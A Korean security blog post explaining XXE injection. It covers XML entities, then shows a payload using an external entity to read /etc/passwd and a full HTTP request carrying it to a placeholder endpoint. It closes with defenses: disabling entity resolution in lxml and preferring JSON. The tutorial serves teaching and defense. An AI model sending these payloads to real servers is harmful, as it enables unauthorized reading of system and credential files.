본문 바로가기
모의해킹/웹모의해킹

[웹 모의해킹 가이드] XXE 공격 원리와 대응법! 웹 보안 필수 체크 포인트

by 러브러브뿅뿅 2025. 2. 12.
728x90

XXE Injection 공격과 대응 방안 💣

 

1. XXE Injection이란?

 

XXE(External Entity Injection) 공격은 XML을 처리하는 애플리케이션에서 외부 엔티티를 잘못 처리할 때 발생하는 보안 취약점이다. 공격자는 이를 이용해 내부 파일을 읽거나, 서비스 거부(Denial of Service, DoS) 공격을 수행하거나, 심하면 SSRF(Server-Side Request Forgery)까지 가능하게 만들 수 있다.

 

2. XML과 DTD(Entity) 개념 간단 정리

 

XXE 공격을 이해하려면 XML과 DTD(문서 유형 정의, Document Type Definition)에 대한 기본적인 개념이 필요하다.

XML(Extensible Markup Language): 데이터를 구조화하여 저장하는 언어

DTD(Document Type Definition): XML 문서의 구조를 정의하는 역할

Entity(엔티티): XML 내에서 변수처럼 사용되는 개념으로, 외부 엔티티를 정의하면 외부 리소스를 참조할 수도 있다.

 

다음과 같은 XML 문서를 예로 들어보자.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY example "Hello, World!">
]>
<root>
  <message>&example;</message>
</root>

 

위의 XML 문서에서 &example; 엔티티는 “Hello, World!“로 치환된다.

그런데 여기에 외부 엔티티를 추가하면 문제가 발생할 수 있다.

 

3. XXE 취약점이 있는 XML 예제

 

다음과 같이 외부 파일을 읽는 엔티티를 선언하면 내부 파일이 노출될 수 있다.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <message>&xxe;</message>
</root>

 

이 XML이 취약한 애플리케이션에서 파싱되면, &xxe; 엔티티가 /etc/passwd 파일의 내용을 포함하게 된다.

이를 통해 공격자는 서버 내부 파일을 유출할 수 있다.

 

4. XXE Exploit 예제

 

아래는 Burp Suite를 이용해 공격 요청을 보내는 예제다.

POST /vulnerable-endpoint HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>
  <input>&xxe;</input>
</data>

 

이 요청을 보내면 응답에 /etc/passwd 파일의 내용이 포함될 수 있다.

 

5. XXE 공격을 방어하는 방법 🛡️

 

XXE 취약점을 방어하는 방법은 크게 두 가지다.

 

1) XML 파서에서 외부 엔티티 비활성화

 

대부분의 프로그래밍 언어에서는 XML 파싱 시 외부 엔티티를 비활성화하는 옵션이 제공된다.

예를 들어, Python의 lxml 라이브러리에서 이를 차단하는 방법은 다음과 같다.

from lxml import etree

parser = etree.XMLParser(resolve_entities=False)
tree = etree.parse("input.xml", parser)

 

resolve_entities=False 옵션을 사용하면 외부 엔티티를 해석하지 않으므로 XXE 공격을 방지할 수 있다.

 

2) XML을 대체할 데이터 포맷 사용

 

XML을 꼭 사용해야 하는 경우가 아니라면 JSON과 같은 포맷을 사용하는 것도 좋은 방법이다.

JSON은 XML보다 단순하고, XXE 같은 엔티티 주입 공격이 불가능하기 때문에 보안성이 더 높다.

 

7. 결론 🎯

 

XXE Injection은 서버 내부 파일 유출, 서비스 거부 공격, SSRF 등 다양한 보안 위협을 초래할 수 있다.

따라서 XML을 사용할 때는 외부 엔티티를 비활성화하고, JSON 같은 대체 기술을 고려하는 것이 필수적이다.

 

다음에는 실제 XXE Injection 공격이 어떻게 이뤄지는지 직접 실습해 보도록 하겠다.

728x90